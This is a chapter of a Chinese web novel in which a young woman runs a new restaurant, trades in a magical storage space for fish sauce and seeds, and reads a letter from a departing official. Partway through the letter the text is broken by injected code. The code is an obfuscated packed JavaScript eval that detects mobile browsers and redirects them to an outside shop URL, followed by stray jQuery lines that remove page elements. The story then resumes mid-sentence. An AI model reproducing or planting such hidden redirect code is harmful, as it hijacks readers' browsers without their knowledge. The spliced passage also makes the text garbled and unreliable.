开张的头一天忙到收摊,沈鹿溪才有工夫坐下来歇口气。

    赵石头把最后一张桌子擦完,拎着抹布走过来:“沈掌柜,今天楼下坐满了三轮,楼上那间雅间也用了,碗碟我都洗好了,还有别的活没?”

    “没了,你先回去吧,明天稍微早点来,今天有点晚了。”

    赵石头应了一声好,拎着自己的布包出了门。

    孙婶子和李春桃也收拾完了灶房,沈鹿溪从柜台底下拿出一小包铜钱,分别递给她们:“今天辛苦了,这是工钱,你们先拿着,以后的工钱就月结,每个月一号发工钱。”

    孙婶子推了两下没推掉,笑着收了:“好,鹿溪,明天还是这个时辰来?”

    “对,辰时之前到就行。”

    送走了人,沈鹿溪把铺子的门关上,从后面上了栓,一个人坐在柜台后面算了算今天的进账。

    楼下卖了六十多份家常菜,楼上雅间开了一桌,光那三道高档菜的收入就抵得上楼下半天的流水。

    这个账算得她心里有底了。楼下走量,楼上走价铺子总归是盈利的。

    回到家的时候,院子里只剩方九龄一个人坐在石凳上喝茶:“回来了?”

    方九龄端着茶碗,看了她一眼,“你那个铺子今天开张,我在院子里都闻见香味了。”

    “方先生想吃什么,明天我给您带。”

    “不用带,你忙你的。”方九龄嘴上这么说,停了一下又补了一句,“要是有多的鱼汤,倒可以捎一碗回来。”

    沈鹿溪忍住笑:“行,记下了。”

    进了自己屋,关上门,她没急着歇着,而是进了空间。

    集市遗迹的石碑前,她把攒下的一批红薯干放了上去,碑面上浮现出新的兑换名单。和昨天的不太一样,多了几样没见过的东西。

    一个叫“甘蔗种”的,一个叫“芝麻种”的,还有一小瓶标注着“鱼露”的调料。

    沈鹿溪盯着鱼露看了半天。

    这东西她在藏书阁的菜谱里见过,是沿海一带用鲜鱼发酵做的调味品,味道极鲜,用来做汤做蘸料都是一绝。南安镇离海远得很,这种东西根本不可能出现在集市上。

    她毫不犹豫地换了一瓶,拧开盖子闻了闻,一股浓郁的鲜味窜进鼻子,比酱油的味道更醇厚。

    这东西要是用在楼上的高档里,肯定能让味道再上一个台阶。

    甘蔗种和芝麻种也各换了一份,直接设定好灵田自动种植。甘蔗种下去之后,灵田东南角的空地上很快就冒出了一排嫩绿的芽尖,芝麻则种在了靠近灵泉的地方。

    做完这些,她去窑洞里检查了一下存货,自动种田功能启用之后,占城稻的第一茬已经收了,整整齐齐地摆在木架上,足有三百多斤。红薯也收了一批,堆在角落里,个头比外面田里种的还大一圈。

    沈鹿溪搬了五十斤占城稻出来,准备明天让沈大山继续卖种子。剩下的留着碾米,供铺子用。

    从空间出来,她坐在桌边,把那瓶鱼露放进一个不起眼的陶罐里,塞到灶台底下的角落。明天试着做一道鱼露蒸蛋,要是味道好,就加进楼上的菜单里,不过这样一来,楼上的菜单就要随着空间里刷出的食材变动。

    正想着,院门被人敲了两下。

    沈鹿溪走过去开门,是苏庆安,手里拿着一封信:“鹿溪妹子,我爹让我送过来的,说是钱师爷临走之前留的。”

    “钱师爷走了?”

    “走了,知府大人也一起走的,说核查的事办完了,下午就启程回府城了。”苏庆安把信递过来,“钱师爷说这封信你看了就明白了。”

    沈鹿溪接过信,送走苏庆安,回到屋里拆开看。

    信是钱师爷写的,字迹工整,内容不长。

    大意是说,魏知府对南安镇的印象很好,尤其是低价售卖稻种和饭馆的事,回去之后会在府城的呈报里提上一笔。信的末尾还写了一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17833895|208019||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    句,说府城每年秋收之后都有一场农事汇报,各镇的里正都要上去说说本镇的情况,今年南安镇有了占城稻这个亮点,魏知府希望苏里正到时候能把这件事好好讲一讲。

    沈鹿溪把信看完,折好收进了袖子里。

    知府虽然走了,可钱师爷留了信,说明魏正书对南安镇还有关注,对沈家也有印象。秋收之后的农事汇报,就是下一个跟府城搭上关系的机会。

    她拿着信去找了顾南祁。

    顾南祁看完信之后,沉吟了一会儿:“魏正书这个人,做事不急不躁,他在信里提到农事汇报,说明他想把占城稻的事往上报。这对你来说是好事,名声越大,你在镇上的根基就越稳。”

    “我也是这么想的。”沈鹿溪把信收回来,“不过苏里正去府城汇报的时候,光说种子的事还不够,最好能带上实打实的产量,让人家看看占城稻到底能种出多少粮食来。”

    “你打算怎么做?”

    “等村里人把占城稻种下去,到了秋收的时候,让苏里正把各家的产量都统计一遍,做成册子带去府城。数量越详细,越有说服力。”

    顾南祁点了点头:“这事你跟苏里正说一声就行,他会办的。”

    沈鹿溪应了一声,转身要走,又停下来回头看了顾南祁一眼:“你今天怎么没去铺子帮忙?”

    “你没叫我。”

    “我还以为你不想去呢。”

    顾南祁嘴角动了一下:“下次叫我,我可以帮你搬东西。”

    沈鹿溪冲他笑了笑:“好啊,那明天你帮我把后院那几筐炭搬到灶房去,灶膛里的炭快烧完了。”

    “就这?”

    “不然呢。”沈鹿溪转身出了门,走了两步又回头补了一句,“对了,方先生说要喝鱼汤,明天你帮我提醒一下李铁牛,让他多送条鲫鱼来。”

    顾南祁站在门口,看着她的背影消失在院子拐角处,过了好一会儿才转身回了屋。